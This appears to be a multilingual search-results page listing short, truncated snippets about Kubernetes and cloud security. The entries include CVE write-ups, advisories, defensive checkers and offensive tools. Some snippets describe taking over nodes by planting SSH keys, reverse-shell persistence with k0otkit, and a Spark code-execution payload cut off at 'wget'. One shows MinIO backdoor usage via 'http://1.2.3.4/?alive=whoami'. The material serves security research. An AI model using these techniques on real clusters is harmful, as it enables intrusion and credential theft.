10200 matches found
CVE-2023-28432
CVE-2023-28432 CVE-2023-28432 POC Minio 是一个多云对象存储框架。在从 RELEASE.2019-12-17T23-16-33Z 开始到 RELEASE.2023-03-20T20-16-18Z 之前的集群部署中，MinIO 会返回所有环境变量，包括 MINIOSECRETKEY 和 MINIOROOTPASSWORD，导致信息泄露。所有使用分布式部署的用户都会受到影响。建议所有用户升级到 RELEASE.2023-03-20T20-16-18Z。...
kube-alien
Kube-alien This tool launches attack on k8s cluster from within. That means you already need to have an access with permission to deploy pods in a cluster to run it. After running the kube-alien pod it tries to takeover cluster's nodes by adding your public key to node's /root/.ssh/authorizedkeys...
HAProxy-Keepalived-Sec-HighLoads
HAProxyとKeepalived LoadBalancer+Cluster+Sec+HighLoads インストールと設定 HAProxy は、高可用性high availabilityを持つロードバランサーload balancingを備え、TCP およびHTTP ベースのアプリケーション向けにプロキシ サーバサービスを提供するオープンソースソフトウェアです。 Keepalived は、2台以上のサーバに対してIPフェイルオーバーIP failover機能を提供できるオープンソースソフトウェアです。Keepalived はノード間でマルチキャスト 通信技術を使用します。...
GO-2026-6497 vulnerabilities
Vulnerabilities for packages: xeol, k9s, opentofu, flux-helm-controller, helm-set-status, manifest-tool, k8sgpt, cluster-api-helm-controller, tigera-operator, helm-push, kargo, cert-manager-cmctl, rancher-helm, kube-arangodb, helm-mapkubeapis, maru, kyverno-notation-aws, gitness...
GO-2026-6499 vulnerabilities
Vulnerabilities for packages: xeol, k9s, opentofu, flux-helm-controller, helm-set-status, manifest-tool, k8sgpt, cluster-api-helm-controller, tigera-operator, helm-push, kargo, cert-manager-cmctl, rancher-helm, kube-arangodb, helm-mapkubeapis, maru, kyverno-notation-aws, gitness...
CVE-2025-1974
CVE-2025-1974 — IngressNightmare ingress-nginx 引言 本文档介绍了影响 Kubernetes 组件 ingress-nginx （验证准入控制器）的漏洞 CVE-2025-1974 的研究。 CVE-2025-1974 是一个严重漏洞（CVSS 3.1 9.8 ），属于 ingress-nginx 进程上下文中的未经身份验证的 远程代码执行（RCE） 。攻击者在攻击过程中，如果能够访问 Pod 网络（或者能够将 AdmissionReview 发送到验证 webhook），则可以在控制器 Pod 中执行任意代码，这可能导致 Secrets...
kstg
OWASP KSTG OWASP Kubernetes 安全测试指南 我们的愿景 创建一份全面的 Kubernetes 集群安全评估手册 我们正在创建一份全面的 Kubernetes 集群安全评估测试指南，涵盖自上而下的集群安全评估方法。该指南包含 methodologies（方法论）、tools（工具）、techniques（技术）和 procedures（流程，TTP），以执行可让测试人员交付一致且完整结果的评估。 OWASP 项目 https://owasp.org/www-project-kubernetes-security-testing-guide/ 构建书籍...
mesh-kridik
mesh-kridik Kubernetes サービスメッシュのセキュリティを強化しましょう！ mesh-kridik は、istio サービスメッシュを使用した Kubernetes クラスターに対してさまざまなセキュリティチェックを実行し、セキュリティレポートを出力するオープンソースのセキュリティチェッカーです。 セキュリティチェックテストは、istio セキュリティのベストプラクティス の完全な実装です。 セキュリティチェックは、istio サービスメッシュを使用した Kubernetes クラスターに対して実行され、OPA（Open Policy...
spark-exploit
未受保护的 Apache Spark 集群中的任意代码执行 如何利用 按照以下步骤操作： $ git clone https://github.com/akhld/spark-exploit.git $ cd spark-exploit 远程代码执行 打开 exploit.scala，将以下代码替换为你想要执行的任意内容！ val exploit = sc.parallelize1 to 1.mapx= //Replace these with whatever you want to get executed val x = "wget...
k0otkit
k0otkit - K8sをK8sらしく操作する はじめに k0otkitは、Kubernetesクラスタに対するペネトレーションで使用できる汎用的なポストペネトレーション手法です。 k0otkitを使用することで、ターゲットのKubernetesクラスタ内のすべてのノードを迅速かつ隠密的に継続的に操作（リバースシェル）できます。 k0otkitはKubernetes とrootkit の組み合わせです。 前提条件:...
CVE-2023-28432-minio_update_rce
minio-CVE-2023-28432-rce https://github.com/AbelChe/evilminio/tree/main 项目原地址 个人打包留存 影响版本 2019-12-17T23-16-33Z 到 RELEASE.2023-03-20T20-16-18Z 复现：https://www.yuque.com/jason-soozc/luhd40/pgabr9xvg0kgx85v?singleDoc 《minlo未授权到rce 集群模式》 GLOBAL backdoor as http://1.2.3.4/?alive=whoami and...
permission-manager
Permission manager Welcome to the Permission Manager! 🎉 🎉 Permission Manager is an application developed by SIGHUP that enables a super-easy and user-friendly RBAC management for Kubernetes. If you are looking for a simple and intuitive way of managing your users within a Kubernetes cluster, this...
golismero
What's GoLismero? GoLismero is an open source framework for security testing. It's currently geared towards web security, but it can easily be expanded to other kinds of scans. The most interesting features of the framework are: Real platform independence. Tested on Windows, Linux, BSD and OS X. ...
MinIO Cluster Deployment - Information Disclosure
MinIO is susceptible to information disclosure. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIOSECRETKEY and MINIOROOTPASSWORD. An attacker can potentially obtain sensitive...
openSUSE 16 Security Update : valkey (openSUSE-SU-2026:21985-1)
The remote openSUSE 16 host has packages installed that are affected by a vulnerability as referenced in the openSUSE- SU-2026:21985-1 advisory. This update for valkey fixes the following issue: - CVE-2026-92925: failure to properly validate string-carrying extensions for null-termination in the...
Important: Red Hat Security Advisory: Gatekeeper v3.20.1 security update
Gatekeeper v3.20.1 Gatekeeper v3.20.1 Gatekeeper is a validating webhook with auditing capabilities that can enforce custom resource definition-based policies that are run with the Open Policy Agent OPA. Gatekeeper is supported through a Red Hat Advanced Cluster Management for Kubernetes...
kube-reaper
kube-reaper Kubernetes RBAC 攻击路径映射工具。它发现你的身份能做什么，标记危险权限，并将它们串联成多步路径以实现集群沦陷。 专为红队成员和渗透测试人员打造。 功能说明 kube-reaper 从任意身份（用户、服务账户、组）扫描 Kubernetes 集群，并生成： 55 种危险权限模式 ，附带严重性评级和攻击说明 18 种攻击链类型 ，将权限链接成多步提权路径 递归身份跳转 ，读取 SA token secret 并铸造 token，以映射跨身份的传递性访问 Pod 跳转映射 ，连接 exec 访问、运行中的 Pod 和服务账户权限 危险 Pod 检测...
CVE-2026-25769
🚨 CVE-2026-25769 - Wazuh 不安全反序列化远程代码执行 关键型 Worker ➜ Master 远程代码执行（Wazuh 集群模式） Wazuh 集群通信中的不安全反序列化允许被攻破的 worker 节点 在 master 节点 上实现 root 权限的远程代码执行 。 📌 概述 CVE ID: CVE-2026-25769 产品: Wazuh 受影响版本: 4.0.0 → 4.14.2 修复版本: 4.14.3 严重性: 严重 CVSS v3.1: 9.1 CWE: CWE-502 — 不可信数据的反序列化 Wazuh 集群模式中的一个严重漏洞允许具有 worke...
kubetcd
Kubetcd https://github.com/jpbetz/auger 的封装。 它通过直接写入 etcd 来自动化 Pod 部署，并包含多项用于对已失陷 etcd 进行后渗透利用的功能。 免责声明 !WARNING 这是一个 PoC，请勿在生产环境中使用。直接写入 etcd 可能导致数据不一致或损坏，进而使kube-apiserver 逻辑无法从 etcd 检索或操作数据。可使用 KIND 部署多节点测试环境 为什么？ 主仓库 auger 提供了对 etcd 中 protobuf 序列化条目进行序列化和反序列化的主要功能。Kubetcd 是一个 PoC，它封装了这些功能，使...